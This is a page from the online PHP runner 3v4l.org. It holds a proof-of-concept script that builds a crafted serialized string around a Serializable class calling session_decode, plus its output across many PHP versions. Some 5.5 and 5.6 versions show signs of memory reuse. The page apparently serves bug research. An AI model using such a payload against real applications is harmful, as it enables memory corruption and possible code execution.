3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { session_decode($data); } } $inner = 'r:2;'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); var_dump($_SESSION);
based on 9a8iR
Output for 7.0.0 - 7.2.0
array(2) { [0]=> object(obj)#1 (1) { ["data"]=> NULL } [1]=> object(obj)#2 (1) { ["data"]=> NULL } } object(obj)#1 (1) { ["data"]=> NULL }
Output for 5.5.29 - 5.5.35, 5.6.13 - 5.6.28
array(2) { [0]=> &object(obj)#1 (1) { ["data"]=> NULL } [1]=> object(obj)#2 (1) { ["data"]=> NULL } } object(obj)#1 (1) { ["data"]=> NULL }
Output for 5.5.24 - 5.5.28, 5.6.7 - 5.6.12
array(2) { [0]=> string(3) "hi0" [1]=> object(obj)#2 (1) { ["data"]=> NULL } } string(3) "hi0"
Output for 5.2.10 - 5.4.45
Warning: ini_set(): Cannot find serialization handler 'php_serialize' in /in/rpWBi on line 3 Warning: session_start(): Cannot send session cookie - headers already sent by (output started at /in/rpWBi:3) in /in/rpWBi on line 4 Warning: session_start(): Cannot send session cache limiter - headers already sent (output started at /in/rpWBi:3) in /in/rpWBi on line 4 array(2) { [0]=> object(obj)#1 (1) { ["data"]=> NULL } [1]=> object(obj)#2 (1) { ["data"]=> NULL } } array(0) { }
Output for 5.2.0 - 5.2.9
Warning: ini_set(): Cannot find serialization handler php_serialize in /in/rpWBi on line 3 Warning: session_start(): Cannot send session cookie - headers already sent by (output started at /in/rpWBi:3) in /in/rpWBi on line 4 Warning: session_start(): Cannot send session cache limiter - headers already sent (output started at /in/rpWBi:3) in /in/rpWBi on line 4 array(2) { [0]=> object(obj)#1 (1) { ["data"]=> NULL } [1]=> object(obj)#2 (1) { ["data"]=> NULL } } array(0) { }
Output for 5.1.3 - 5.1.6
Fatal error: ini_set(): Cannot find serialization handler php_serialize in /in/rpWBi on line 3
Process exited with code 255.
Output for 5.0.0 - 5.1.2
Strict Standards: var: Deprecated. Please use the public/private/protected modifiers in /in/rpWBi on line 7 Fatal error: ini_set(): Cannot find serialization handler php_serialize in /in/rpWBi on line 3
Process exited with code 255.
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting '{' in /in/rpWBi on line 6
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting '{' in /in/rpWBi on line 6
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `'{'' in /in/rpWBi on line 6
Process exited with code 255.